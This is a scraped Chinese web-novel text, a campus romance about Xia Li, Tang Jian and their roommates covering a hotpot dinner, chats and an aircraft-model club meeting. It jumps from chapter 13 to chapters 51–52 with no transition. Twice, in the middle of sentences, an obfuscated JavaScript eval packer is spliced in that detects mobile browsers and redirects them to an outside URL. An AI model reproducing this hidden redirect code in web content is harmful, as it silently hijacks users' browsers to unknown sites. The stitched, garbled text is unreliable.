许是察觉到了篮球馆里突起的一股哀怨气息,唐简视线往一旁蹲在地上撑脸看着他们的四人瞥了眼,把捏扁的矿泉水瓶塞进裤兜里,然后用空着的手拽住夏篱马尾辫帮她转了个方向,“你朋友都等着呢,还不快去换衣服。” 夏篱拍开他的手,掌心依旧冲着他,“名片还我。” 她一副“你不把名片还给我休想我离开”的模样,执着地朝唐简晃着手——指尖都快戳到他下巴了。 唐简的手始终没有放下来,只是捏住她指尖把她手轻甩到一边,低眉看着她说:“你先去洗澡换衣服,名片出来给你。” “……”夏篱有些嫌弃的睨他:“你幼不幼稚。” 唐简的反应是大掌兜住她后脑勺再次帮她转了个方向,“快去。不然待会我就把这两张名片都撕了。” 一身的汗夏篱自己也确实是浑身不舒服,所以她以一种“我大人不记小人过”的目光警告的看了他一眼,说,“说话算话,我很快出来。” “嗯。” ……嗯个屁。 果然等夏篱洗完澡换好衣服从后台更衣室出来,就见除了方茴四人,哪还有唐简人的身影。 夏篱看着方茴,不抱希望的问:“名片?” 方茴:“……学长都拿走了。” 夏篱:“…………” 她就知道!这个狗东西! 因为提前说好了比赛结束后她们晚上要去吃火锅给夏篱庆功,所以几人从篮球馆出来回宿舍放了东西就直接往校门口走了。 几个人边走边聊,等她们从寝室楼下的小道拐到往正校门走的其中一个主干道时,乐苗看了眼身旁边慢腾腾地滑着滑板边貌似还在用手机隔着屏幕奋力谴责某个说话不算话的人……说:“我觉得刚刚在篮球馆里,唐简学长看着其实像是在吃醋。” 她刚起了个头,几人里一向以“最成熟的大姐”自居的方茴也忍不住接了句:“我也有点这种感觉。” 连方茴都这么说了,原本深陷小说“荼毒”,秉着“嗑嗑更健康”“嗑遍天下有情人”之理的梁清波,就更没有矜持的必要了,她总结:“我以我全部的身价担保,学长就是吃醋了!百分之一万的说!” 辛恬点头:嗯嗯嗯! 夏篱被四双眼睛盯地非常无奈又无语,半晌她表情看着真是无法理解的纳闷:“……可那有什么醋可吃的?程愈给我名片的时候也给他了啊,而且当时他挡我挡得严严实实,人家名片还是先给了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15603485|171353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他再给我的。再说就算程愈以前找过他很多次,可今天人应该是专门来找我的吧?我都没说什么呢……他又是吃醋又是生气的?合着理都让他占了得了。” 四人:“…………”有没有一种可能,此“醋”非彼“醋”? 你们学霸的脑回路原来都是这么不平凡的吗。 …… 最近天已经黑的越来越早,时间刚过六点,天空已经变成了墨蓝色。天幕上飘着几缕又细又薄的白云,像是从棉花糖上拉出来的丝絮一样。 乐苗是她们寝室里最爱拍照的,等几人快到校门口时夏篱突然踩了个刹车,站在滑板上指着路尽头的天幕惊喜地拉着乐苗给她看,“你看苗苗,那好漂亮,跟你今天这身cos颜色好搭啊,你站这站这,拿滑板当道具我帮你拍几张照片。” 有人主动要给自己拍照,乐苗自然乐得配合。 夏篱一点也不在意地或蹲或跪,一心只想给乐苗找最好的拍照角度。 一旁三个人脑袋凑一块,边看两人无视周遭人眼光的奇形怪状的拍照动作,边对刚刚夏篱那令人惊叹不已的脑回路交流了下各自浅薄的意见。 辛恬第一次说了最长的一段话:“……篱篱和唐简学长毕竟从小一块长大,都一起生活了快二十年了,肯定跟我们普通朋友不一样,他们应该有他们自己的相处方式吧。毕竟……”她声音低了点,悄悄道,“刚刚他们在篮球馆里看着像是生气吵架,可篱篱还是叫了唐简学长两声‘唐简简’呢……应该是昵称吧。” “对吧!”梁清波一脸终觅知音的表情,“我还以为只有我一个人注意到了呢!” 方茴:“……我也以为只有我一个人听见了。” 三人这时对视一眼,才发现原来大家都是同道中人。 …… 两人终于拍满意了,夏篱迫不及待地跟一旁三个人招招手,让她们来看照片。 梁清波瞥了眼校门,咕哝一句:“再晚点去说不定都要排队了啊……” “哎呀怕什么,”乐苗拍高兴了,兴奋道,“今天军训结束晚上放假待会又不用上晚自习,晚点也没事的嗷!” 正值吃晚饭的高峰,校园里的几条主干道上都是学生在往各个食堂的方向走。几颗脑袋凑在一块看手机本来也没在意,直到一声刺耳的口哨声在夏篱身后响起来。 她们愣了下,一块抬头往夏篱身后看,就见先前在篮球馆里打比赛的那个新生控卫跟一个穿红T恤的男生勾肩搭背地正站在她身后吊儿郎当地看着她。 “哟,这不是我们的小裁判嘛,这么巧,也要出去吃饭啊?”那人怪声怪气地说,“怎么着,一起吧?我请客,当给小裁判庆祝,毕竟今天比赛在场上你可比我们威风多了。” 方茴和辛恬对视一眼,两人同时认出来那个穿红T恤的就是在看台上说风凉话被前面帅气女同胞怼的哑口无言的“生性不爱打球男”。 听着眼前这男的阴阳怪气说的话,方茴心道这俩人还真是“近墨者黑”“物以类聚”。 她刚想把夏篱拽到身后说“不必了”,就见她这小室友把颊边的长发别到耳后,原本满脸带笑的可爱小脸蛋一秒变得淡漠又疏离,二话不说踩上滑板直接一溜烟儿往前跑了。 决绝的背影只留给了对方六个字: 懒得跟你废话。 13.第 13 章 等几人到了火锅店,果然看到门口已经排了好几个人。 乐苗上前去取了号,回来说,“前面两桌。” 梁清波扯了扯乐苗头上的假发套,咬牙切齿道:“看吧看吧!我就跟你们说肯定要排队了!” 幸好是只有两桌。 “哎呀对不起嘛。”乐苗抱着梁清波的腰使劲晃着撒娇,“待会让你多吃两片肉!” 方茴不满了:“什么叫让大波多吃两片肉,难道我和恬恬没等你吗?双标。” 乐苗又去抱她和辛恬,“我的肉都给你们都给你们!” 方茴闻言哭笑不得:“你的肉我可不要,我要可以吃的肉。” 夏篱在旁边正笑着看她们说闹时突然听到有人叫自己的名字,她顺着声音看向刚从店里出来的几个人,认出来几个女生里唯一的一个男生——齐司乐。 她讶异地笑着朝他挥挥手,注意到他和旁边女生紧紧握在一起的手,大眼睛像个八卦的小雷达似的在面前两人脸上转来转去,“你这是……” “嘿嘿,”齐司乐笑得傻乎乎地,举起和旁边女生一直牵着的手,“给你介绍一下,这是我女朋友纱纱,今天刚确认的关系,来请她们寝室的人吃个饭认识认识。”说完,又低头看着自己女朋友准备给她介绍夏篱。结果他都还没开口,就见田纱纱看着夏篱笑着道,“我知道你。夏篱是吧?我看过之前航模社那个视频……你太给我们女生长脸啦,很厉害。” 她一边说着还一边冲夏篱竖了竖大拇指。 夏篱闻言这会儿倒是有点不好意思了。 指尖绕了两圈发尾笑着给对方道谢,然后轻“啊”了声,从小包里掏出来一根棒棒糖递给田纱纱,“不好意思啊我只有这一根棒棒糖了,送你。祝福你们。” “谢谢。” 等齐司乐他们离开,夏篱觉得还挺惊奇的。 “没想到齐司乐看起来一副傻乎乎的样子,竟然也交了女朋友,难道这就是传说中的‘傻人有傻福’吗?” 四人:“……” 你自己好哪去了吗请问……还好意思说别人。 二十分钟后,五个饿死鬼终于被放进来。 梁清波已经觉得自己饿得前胸贴后背了,恨恨地叫嚷说她要点十盘肉吃…… 毕竟拍照是夏篱起的头,在外等这么久她也有点内疚,再说今天大家本来就说是要给她庆功的,所以她提议今天这顿就由她来请好了。 哪知她刚开口,就被方茴义正严辞地摆手拒绝了。 方茴说:“咱们谁都不可以起这个头,以后只要我们一起吃饭那不管是为了什么为了谁组的局,一切开销都AA。” “嗯嗯,”辛恬点头应和,“我也是这么想的。” 乐苗小心翼翼拨了拨有些挡眼睛的假刘海儿,闻言也用力地点点头,“就是。不然今天你请明天她请的,乱糟糟的,算都算不清楚了嗷。” “……”,梁清波也没想到因为自己随口吆喝的十盘肉会引出这么一场“经济大战”,她缩着脖子左左右右看大家,说:“……我先声明啊,我就是因为想着AA才说要吃十盘的。要是有人请……我也不好意思吃了。” 夏篱这才察觉刚刚自己说的话有些欠考虑了,她抿着唇看着大家也郑重点了点头。 扫码点完餐,等锅底上来的空档,她们五个人分批去小料台那取蘸碟。 夏篱调了一个麻酱一个油碟,她请方茴帮自己拿回去一个,然后拿了个盘子想给大家装点水果——结果那小番茄就跟她作对似的,一夹就跑一夹就跑。 虽然外表很难看出来,但夏篱有时候其实是个非常较真的人——即使只是夹子夹的东西,又不是自己手拿碰过的,但她就是觉得那个老跟她作对的黄色小番茄她也不好意思再留给别人了。 “需要我帮忙吗?” 一道略有些熟悉的声音突然在夏篱耳边响起。 夏篱扭头,看到程愈端着一个空盘站在两步远的地方笑看着她。他说着话,上前一步拿另外一个夹子夹起那个黄色小番茄轻轻放到她的盘子里,同时解释般地道,“你拿的这个夹子我刚刚也不小心用过,它夹头有一点歪了,夹圆的东西会滑。” 夏篱闻言拿夹头到面前看了看,“啊”了声,“怪不得。” 她说完,才反应慢了半拍的抬头看着程愈弯着眼睛笑了笑,“好巧啊,你也来吃火锅。” “是呀,好巧。”程愈笑着,顺手又给她夹了好几个番茄放到盘子里,“这家火锅店是咱们学校附近味道最好的一家了,没想到刚开学就被你发现了。”他一边说着一边示意问她要不要西瓜,看到夏篱点头,他又给她夹了几片西瓜放到盘子里,继续说,“是唐简推荐给你的?” 虽然此时夏篱非常不想提起那个说话不算话的大骗子,但谁让她拥有一个比他更高尚大方的人品呢,所以她还是给程愈点点头,“嗯”了声。 毕竟各自都有朋友在等,程愈也没再说别的,分开前只是提醒了她一句下午在篮球馆提议的事他还在等她的答复。他一说起来这个,夏篱倒是想起来,刚刚她只是觉得在生唐简说话不算话的气,居然都没反应过来这件事的起因此刻就在自己面前呢。 她真是个傻瓜。 所以夏篱急忙叫住程愈,把手里的盘子放下掏出来手机,说,“方便的话,我直接加上你微信可以吗?” “当然。”短暂的意外后,程愈很快地掏出来手机绅士道,“我扫你。” 夏篱按他发过来的名字改好备注,“对了,我的‘篱’是——” “篱笆的‘篱’,我知道。”程愈笑着接话,“没见你前你的名字我已经如雷贯耳了。” 夏篱想到刚刚在门口齐司乐女朋友纱纱说的话,看着程愈眨眨眼,“因为航模社的那个视频?” “不止。”程愈回,却没再继续说这个,反而问她,“你现在加我微信,是不是因为唐简拿了我原本要给你的那张名片没有给你?” 夏篱很克制地抿了抿唇,答,“就是这样。他真的很幼稚!” 程愈收起来手机,看着面前气鼓鼓的女孩一笑,“我想这个词放在他身上,应该很难有人跟你有共鸣。” 夏篱闻言有些吃惊:“他这么招人嫌的吗?” 竟然被嫌弃到连幼稚都不屑骂他的程度。 程愈这下被眼前女孩的反应切切实实地给逗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15610511|171353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了,忍不住抬手在夏篱毛茸茸的头顶轻揉了把。 因为程愈的动作毫无征兆而且很快,夏篱根本来不及反应。 回神时,他已经把手收回去了。 “吃得开心。”程愈说。 夏篱有些迟疑地抬手摸了摸头顶,才给程愈摆摆手,端着东西回到了自己那桌。 从夏篱刚刚在小料台那碰到程愈,这边的梁清波远远就注意到了。她见夏篱回来,迫不及待问她,“刚刚跟你说话的那个人是不是下午比赛完在篮球馆要你加校队的那个队长?” 虽然她只看到了个背影,但那身仿佛一尘不染的白衣服还是挺让人印象深刻的。而且她一向觉得敢穿白衣服出来吃火锅的都是真正的勇士。 夏篱点点头,“就是他。” “你们刚刚在聊什么呀,”乐苗问,“你们是不是加微信了?我看你们刚刚都掏了手机。” “……”夏篱左右一人给她俩嘴里塞了颗小番茄,说,“你们真的很八卦。” 八卦的几人边吃边聊,因为身边最近短短几天遇到的人和事,不由得就讨论起来人与人的差距怎么就这么大呢。 只有夏篱鲜少开口,若有所思地不知在想什么。 程愈应该来得比她们早,结束离开时给夏篱发了条微信消息道别。 而夏篱她们吃完已经晚上快九点了。 到了宿舍楼下,在知道夏篱仍旧要去跑她那5公里的日常锻炼时,方茴接过她的包,对她的毅力已经完全佩服的五体投地了。 “篱篱……人比人气死人……你真的是我们新一代的卷王啊。”乐苗哭丧着脸道。 梁清波精神上真的很想也跟着她去卷一卷自己,但没办法,身体实在是不听她的话。 辛恬默默道:“……怪不得你做什么都能成功呢。” 对于她们的调侃或感叹,夏篱并没什么太大的反应,只是在方茴苦口婆心喊她刚吃完东西不要运动太剧烈时,远远给她摆了摆手,让她们不要担心。 因为有事情要想,夏篱滑板一路上都滑得很慢。又因为想事情想得太投入,连什么时候滑到了操场边都没发现。直到——自己突然被一道裹着熟悉皂荚香气的身影一把拦腰抱起,听到来不及止步的滑板“哐”一声撞到路边花坛的声音。 唐简单手抱着夏篱的腰,顺手将她放到要不是他眼疾手快,她差点就要摔进去的那个三十来公分高的小花坛边上。 等她来的这段时间他本就心烦意乱,此时因为担忧,更是抑制不住生气地压低声音叫了声她的名字,“夏小篱!” 夏篱站在花坛上,人要比唐简高上几公分,所以他只能微微仰着头看她,“……小时候脚摔骨裂还没吃到教训是吧?我有没有跟你说过生气还有想事情的时候不要——” “唐简。”夏篱突然打断了他的话。 她仿佛刚回神似的,手里还攥着方才唐简抱起她时她下意识揪紧他胸口的一小块布料,微微低头忽闪着自己那双亮晶晶的大眼睛看他道:“你还记得我以前跟你说过的未来我想要找的那个男朋友吗?” 唐简呼吸一顿,又听她接着道: “我好像找到了。” 50-60 第51章 夏篱看着梁清波发来的一大串消息沉吟了好一会没反应。 她不怀疑她话里的真实性, 但她从头到尾看了两遍,确定这些话里并没提到过她和陆子航的关系。 其实夏篱明白不论是梁清波去航模社还是和陆子航的关系,都是她的私事她交友的自由, 她并没有必须和她说的理由。只是她还是没办法不担心陆子航的为人,会让梁清波在其中吃亏。 今晚在操场边的那两个人, 女生她不是那么确定,但男生身高侧影还有那标志性极强的大背头……她不会认错。 半晌,夏篱才打字回复: 【夏篱】:大波,谢谢你特意告诉我这些。但就算我和航模社里的人再有什么天大的矛盾,那也是我自己的事, 和你是没有关系的, 所以你想积累经验或是认识新的朋友都是你的自由, 不过身为朋友你能为了我考虑这些我还是很感动的。谢谢你。 梁清波显然一直特意在等她的回复, 很快发来消息: 【大波】:只要你没生气就好。[亲亲] 【大波】:现在想想以后我们可以在一个社团还是挺开心的……互相都可以有个照应。嘿嘿。原本刚开学找社团我们宿舍四个人因为各自兴趣爱好不同都没有一起我还挺遗憾的。 【夏篱】:嗯,以后一起加油。 【夏篱】:你明天不是也要早八吗,早点睡吧, 晚安。 【大波】:晚安晚安。[亲亲] 夏篱又给梁清波发了个“晚安”才退出两人的聊天框,她刚退出来,就看到唐简新跳出来的一条消息。 【唐杀千刀】:还没洗漱完吗 夏篱唇角不自觉地提了提, 点开先回复他: 【夏篱】:刚洗完,程愈刚刚给我发了你们的训练计划, 刚准备看。 她回完这句才顾得上看他刚才那七条未读消息是什么。 【唐杀千刀】:我跑完了 【唐杀千刀】:[图片] 夏篱看着他对着自己方才在操场边等他的位置比“耶”的这张照片,不知为何心跳突然就跳快了一下……这意思仿佛是在和她说:在他那里, 她一直都在。 【唐杀千刀】:我来买奶茶了……刚刚我准备回宿舍,路上陈默给我打电话,说齐司乐和他女朋友吵架了心情低落让我顺路买杯奶茶回去给他喝。 【唐杀千刀】:[奶茶图片] 【唐杀千刀】:是你最不喜欢的全糖全家福……看着比粥还稠。[嫌弃] 【唐杀千刀】:我到宿舍了 【唐杀千刀】:……洗漱完和我说一声 夏篱刚看完前面的消息,就又看到唐简新发过来的一条省略号, 随后—— 【唐杀千刀】:……你真是知道怎么打击我。半天没回消息,第一条回复含别人量100%。 “……”夏篱觉得有些好笑。 她从前都不知道唐简的醋劲会这么大。 【夏篱】:……你正常一点,不然我不跟你说话了。 【唐杀千刀】:……好吧。[可怜] 【夏篱】:……你是被夺舍了吧!唐建军! 她一边想骂他又一边忍不住想笑……怎么一个人前后差距能这么大的。 唐简似乎也怕自己太“作”适得其反,很快就收敛起来了,发了段语音过来。 【唐杀千刀】:……程愈也给我们发了训练计划,我看了,剩下这半个月你需要到场的两场是在月底28号和31号,那时你脚上绷带应该可以拆了,但韧带拉伤就算是最轻的也得2-3周恢复,所以跑跳还是问题,至少还得再仔细养两周。 夏篱确定了下自己是话筒播放,才点开语音条……能听得出来男女生宿舍的差别还是挺大的。这会儿虽然刚过十一点,但她们宿舍已经挺安静了,虽然床帘后的她们大概率也没睡觉,但刷手机看视频应该都带着耳机,反正挺安静的。反观唐简这条短短二三十秒的语音消息,那头的背景音简直不要太热闹。 【夏篱】:嗯,我刚也看到了……我会小心的。 在唐简看来,夏篱的“我会小心的”几乎就可以理解为“别操心了,我会自己看着办的”。他虽然没法不担心,但以他对她的了解,她这时候也不会想听谁说些什么大道理,只能轻叹一口气。 【唐杀千刀】:刚才在操场碰见你室友的事你问她了吗 【夏篱】:问了……大波说她没去操场。 【唐杀千刀】:会不会是你看错了 【夏篱】:希望吧。 【唐杀千刀】:什么意思 【夏篱】:陆子航我刚刚应该不会认错……大波虽然说她没去操场,但是…… 夏篱直接把自己和梁清波的聊天记录截屏发给唐简看了下。 过了会,唐简那边才回复她。 【唐杀千刀】:我刚问了下老陈,他说最近社里好像是有个大一新生叫‘清波’的,他只见过一两次面,是刘雨萱在带的新人。刘雨萱是在航模社当了两年的项目经理,应该就是梁清波说的那个学姐,她也确实马上要出国做交换生了。 【夏篱】:我不是在怀疑大波跟我说的话…… 【唐杀千刀】:我知道。 他知道? 【唐杀千刀】:你是担心如果今天在操场上看到的真是他们两个人,你怕梁清波会在陆子航那吃亏。 他还真的知道。 【唐杀千刀】:如果今天真是他们两个,她特意瞒你应该也有她自己的想法,但是—— 【唐杀千刀】:大家都是成年人。阿篱。 一句话,成功把夏篱想说又说不出来的话给按回了肚子里。 是啊……大家都是成年人。 …… 那一夜,夏篱睡得并不安稳。 梦里光怪陆离,一会儿是陆子航狰狞的脸指着她破口大骂;一会儿是周予笑眯眯地对她噼里啪啦地说什么,唾沫星子似乎都要溅到她脸上;一会儿又是她拽着梁清波没命地朝着一个看起来很像唐简的背影奋力地奔跑,脚下的路却像流沙般不断塌陷……最后,她甚至梦到那架在航模社门口看到的笨拙无人机失控地朝她撞过来—— 接下来的两天,一切似乎风平浪静。 夏篱按部就班地上课、自习、换药……而且很像是回到军训那段时间,她一日三餐又开始有人投喂。 北城大学占地广阔,教学楼和食堂之间动辄需要横跨大半个校园。有时候下课离教学楼远一点的食堂夏篱也会懒得去,但每次不论她每次想去的食堂距离唐简多远,只要时间允许,她上完课下楼后就总能看到他。 夏篱每次看着,无法否认心底是有些高兴的,但同时她又难免会觉得有点心疼,因为有时能明显看出来他一路跑过来跑得很急……虽然每次面上都表现的很平静,但起伏的胸膛骗不了她的眼睛。 她虽然没跟人说过,但孙翡却仿佛看出来什么,某次排队等餐的时候边一副高深莫测地捋着并不存在的“胡须”边摇着头道,“像你这样的,以前应该没少人追吧?那些人你心疼过吗?” 夏篱:“……” 她不仅没觉得心疼,反而对那些反复拒绝反复不听的人充满了厌恶,每次看见都恨不能一脚把他踹飞到天上去。 孙翡看她表情,笑得奸诈又,摇头晃脑的还是那句话,“‘有道是天机不可泄’,话已至此,你自己悟吧亲爱的。” 夏篱:“…………” 她看着孙翡有感而发:“你该去读心理学……读理真是埋没了。” “说什么呢,”孙翡看她“啧”了声,“姐姐明明十项全能,人在哪哪就是舞台好么?” “是是是,”夏篱笑着抱拳,“恕在下谬言。” 转眼到了周五。 夏篱下午没课,中午吃完午饭就去了图书馆自习。她的意思是六点钟自己去航模社和唐简集合就可以了,但某人就是执着,非要她等他下课过来接她再一起过去。 夏篱难得有没拗过他的时候。 五点半,夏篱手机定好的闹钟页面跳动起来,她顺手关掉,写完最后一道笔记,收拾东西下楼。 通往电梯的走廊安静明亮,起初夏篱并未在意身后,直到电梯门合拢,光滑如镜的金属门映出身后的景象——一个穿着白色休闲装、背着双肩包的男生,目光似乎一直落在她身上。 当她无意间抬眼,目光在门板反光中与他撞个正着时,男生明显慌乱了一下,随即有些不好意思地对着她笑了笑,脸颊微红。 夏篱回以一个礼貌而疏离的浅笑,目光转向楼层显示屏,看着面板上的数字从4平稳地跳到1。 “叮”一声轻响,电梯门滑开。 夏篱操控着轮椅滑过图书馆大厅,刷卡出了厚重的玻璃门。晚秋傍晚的凉风带着草木的气息扑面而来,夏篱刚准备往无障碍通道的缓坡那走,身后便传来几声略显犹豫的呼唤:“同学,请等一下!同学!” 夏篱其实听到了,也想到应该是刚刚电梯里的那个男生在叫自己,但她也不知道为何,就是本能地不是很想应声——直到那人突然快了两步跑过来挡到她轮椅前。 轮椅急刹,夏篱的身体因为惯性微微前倾。她抬起头,平静地看着面前呼吸有些急促、耳根通红的男生:“有事吗?” “同学你、你好,”男生努力让自己的声音听起来镇定些,“眼里带着真诚的期待和一丝紧张。“我叫苏晟,是外语学院的,今年大三。我在图书馆见过你好几次,很想认识你和你交个朋友,能不能加个联系方式?” 就在这时,图书馆侧翼的台阶下,一个熟悉的高大身影正大步跑来。 唐简刚踏上平底,一抬眼,便将这一幕尽收眼底。他脚步猛地一顿,几乎是条件反射地就想冲过去,却又在下一秒硬生生克制着住了,只是站在原地,隔着十几米的距离,目光沉沉地锁着夏篱的背影和那个拦路的男生。 男生神色明显有些失望,但显然并没放弃,这次唐简大概看出了他嘴形,似乎是在说“做个朋友也不可以吗”……因为角度问题,唐简看不到夏篱的脸,自然听不见也看不见她说了什么,但至少他看到她对他摇了摇头。随后轮椅绕过男生往特殊通道那走了…… 唐简很快小跑了两步先夏篱一步等在了通道下方。 夏篱显然刚才没注意到他,刚准备下来时看到下面的唐简先是愣了一下,下意识回头看了眼刚跟自己要联系方式的男生方向,看对方仍旧在看着自己又忙不迭转回了头,看着对面的唐简眨了眨眼。 她明明什么都没做,唐简却突然就被她可爱到了。 他也明明可以上去亲自把她推下来的,可此时就是不想那么做,他隔着差不多四五米的距离,对着夏篱招了招手,“快下来,我们先去吃饭。” 夏篱慢吞吞地滑着轮椅下来,在唐简绕到她身后时,把手从操控杆上拿开了,顺便问他,“你什么时候来的?” “就刚才。”唐简说。 夏篱问:“就刚才是什么时候?” “……刚那男生叫什么名字?” “什么男生,哪里有男生?” “……”唐简在她后脑勺轻弹了下,声音里带着笑,“装什么傻,我都看到了。” 夏篱摸了摸头发,“我不知道,他好像没说名字。” “表白不说名字?”唐简显然不信。 夏篱说,“谁说那男生是表白的?他只是问路的。” “哦,”唐简哼笑一声,“刚谁说的‘什么男生?哪里有男生’的?” “……” 可能因为人多的关系,虽然航模社占据的旧仓库空间很大,但这次来夏篱却觉得比上次显得拥挤了许多。 活动室中央的几张工作台被临时拼凑成会议桌,除了上次见过的好几个面孔,又多了十几个人,三三两两地聚在一起说着话。当夏篱被唐简推着进来活动室时,几乎所有的目光瞬间聚焦过来,神色万千。 她也终于看到了“扫地僧”陈默,他正一个人坐在角落里一只手撑着脑袋转着手里的一支笔,看到两人进来,对着二人抬了抬下巴。而陆子航就站在靠里的一个工作台旁,身边围着那个西瓜头男生和另外两个夏篱没见过社员。他看到夏篱和唐简一起出现,特别是看到夏篱身后的唐简氏,眼神瞬间变得有些阴沉,但让夏篱还算意外的是,随后他就仿佛没看到两人似的,转回头继续跟身边的人说话了。 面对其余人这无声的注目礼,夏篱脸上没什么多余的表情,只是目光平静地扫视了一圈,在掠过角落里的梁清波时稍作停留,后者看着她抿唇笑了下挥了挥手。 夏篱回了个笑。 “学妹来来,坐我旁边!”周予脸上堆着惯常的、带着点圆滑的笑容,指了指自己旁边,“学弟也来!” 这时人群里有人立刻起哄,“社长,当初我入社的时候可没见你这么激动过呢!” “就是就是!” “你这也太双标了!” “我们入社那会可没这待遇!” 唐简把夏篱推到周予旁边坐下,自己坐到了她旁边,听见周予闻言“啧”了声,说,“你们要是也能三十分钟拆了那架F-35仿真机你看我激不激动。” “…………” “…………” 陆子航闻言意味不明地往他们这瞥了眼。 大概过了几分钟又有两个人过来后,周予清了清嗓子,拍拍手站起来:“好了好了,大家安静一下!” “人都到齐了,咱们今天的会议就直接开始了!首先,非常高兴地向大家介绍两位新加入到我们航模社大家庭的优秀成员——”他特意顿了顿,营造气氛:“飞行器设计与工程专业的大一新生夏篱同学以及同专业大二的唐简同学,大家热烈欢迎!” 夏篱:“……” 唐简:“……” 两人虽早有准备,但还是被这过于“隆重”和“刻意”且略带浮夸的介绍尬得脚趾抠地。 空气中响起一阵稀稀拉拉、参差不齐的掌声,主要来自陈默和几个看起来年纪较小的社员,更多人是象征性地拍了两下,目光里充满了审视和疑虑。 周予却仿佛浑然不觉冷场,笑容可掬地看着二人,眼神似乎还在示意他们起身可以说点什么。 幸好夏篱本身脚受伤不太方便,虽然有些招架不住周予的“热情”目光,她还是端坐在轮椅上转头跟大伙示意地颔了颔首,姿态从容。 唐简则更干脆,在周予话音落下的瞬间,眼皮都没抬一下,指对着桌面极其轻微地点了下头,算是打过招呼,那副冷淡疏离的模样,仿佛周遭的一切喧嚣都与他无关。 然而周予仿佛没注意到似的,笑容不变地继续道:“夏篱学妹在飞行器设计上的天赋和动手能力,相信大家有目共睹,可能之前大家都不太熟,所以产生过一点点小小的误会,”他做了个“一点点”的首饰,“但俗话说‘不打不相识’嘛,既然学妹今天选择加入我们,那以后咱们就是一家人了!而唐简学弟跟你们其中不少人这两年多多少少也有过交集,也不算陌生,他的成绩一直……” “行了社长,”那边的陆子航突然扬声打断了周予滔滔不绝的溢美之词,他“啪”一声合上打火机的盖子,声音不大,却清晰地压过了周予的话头,吸引了所有人的目光。“这两尊大神加入航模社的事这两天大伙儿已经很清楚了,他们有多少能耐也不是靠你嘴皮子夸出来的,有什么本事多大本事咱们日后见真章就是了,你还是说说今天开会的正经事吧。” “……”周予脸上的笑容终于淡了下去,他推了推眼镜,镜片后的眼神闪过一丝不易察觉的愠怒,随即有强子按捺住,干笑两声,“什么正经事,今天介绍两个学弟学妹给大家认识就是今天的正经事啊,让大家熟悉熟悉,方便以后写作嘛。” 陆子航把手里的东西抛起来又接住,夏篱在他抛第二次的时候才看出来他手里拿着的好像是个金属设计精巧的打火机,同时听他道:“你不是想组队参加明年SAE高级组的比赛么?敞亮点和大伙说说呗,有什么好藏着掖着的。” 一句话不仅惊到了自以为掩藏得挺好的周予,连夏篱和唐简都有些意外地对视了眼——他们虽然猜到了今天周予还不会主动提及还没把握的这件事,但更没想到陆子航会提起来。 学校那边周予还没确定下来,他自然没想这时候跟社员秃噜出去,可眼下他却是承认不是否认也不是。 果然,此言一出,如痛在滚油里泼进一瓢冷水。 “高级组?”一个带着厚厚眼睛的男生忍不住开口,“社长,你没开玩笑吧?高级组今年命题多变态啊,矢量推进、仿生飞控……光设计就够喝一壶了,更别说制作、测试和比赛了!我们现在可是连基础组的冠军都还没摸到过呢!” “就是啊周哥,这步子是不是迈得太大了点?”另一个社员附和道,“咱们现在本身拉赞助就挺难的了,高级组比赛需要的经费那高的可不是一丁半点,而且学校支持吗?能给多少?别到时候两头空。” “是啊社长,这风险太大了,万一搞砸了,以后基础组的经费恐怕都得受影响。” “就是,基础组稳扎稳打拿个冠军不好吗?何必好高骛远?” “没有金刚钻,别揽瓷器活啊社长……” 和周予设想的一样,只要他说出这个提议,质疑和反对的声音就会如痛潮水般一拥而上。他在心里止不住地叹气。 少顷,周予正想开口说话,一个所有人都意想不到的声音却先他一步响了起来。 “你说什么?”周予看着陆子航有些震惊。 “我说,我觉得你的想法还不错。” 第52章 原本嘈杂的室内骤然陷入一片死寂, 所有质疑和反对的声音都卡在了喉咙里,化作无数道惊愕、探究和难以置信的目光,齐刷刷地聚焦在陆子航身上。 连陈默在角落也停止了转笔, 微微挑眉,眼中闪过一丝饶有兴味的光芒。 即使又确认了一次, 周予脸上的表情还是有些凝固,他推眼镜的手停在半空,嘴巴微张,仿佛没听清陆子航说了什么,又或者是不敢相信自己的耳朵。 这个一直以来在社团里最难搞定的刺头, 此刻竟然……支持他?因为太过意外, 他甚至忘了怀疑这消息对方究竟是从何得知的。 可他忘了, 夏篱却没有忘。 她本能地将目光从陆子航身上移到和他隔着两个人而坐的梁清波身上。 夏篱不想这么想, 但周予给她的资料她确实一直都放在她的桌子上,她们宿舍的人都可以看见。只可惜梁清波此时正认真地在笔记本上写着什么,看起来并未察觉到她的注视。 “航、航哥?” 那天来航模社临走时夏篱看到的那个飞手结结巴巴地开口, 打破了沉默,语气听起来难掩惊讶。而坐在陆子航身边的西瓜头明显也是一副见了鬼的表情。 陆子航嗤笑一声,目光扫过社里一张张震惊的脸, 然后掠过同样面无表情不动声色的夏篱和唐简,最后落在周予身上, 开口带着点戏谑道,“周社长, 你是社长我是副社长,我说支持,你有必要吃惊成这样么?”他顿了顿,慢悠悠地站起身, 双手撑在桌面上,身体微微前倾,形成一种无形的压迫感。 “SAE基础组,这几年我们最好成绩也就是今年前半年的总成绩第五,瓶颈很明显,就算再往上突破,需要的投入和回报我觉得也是不成正比的。但高级组……虽然门槛高,但也正因为参与竞争的队伍少,一旦做出成绩,影响力也更大。对我们航模社,对学校,甚至对我们自己的个人履历,价值都远超基础组。” 所有人都惊呆了。 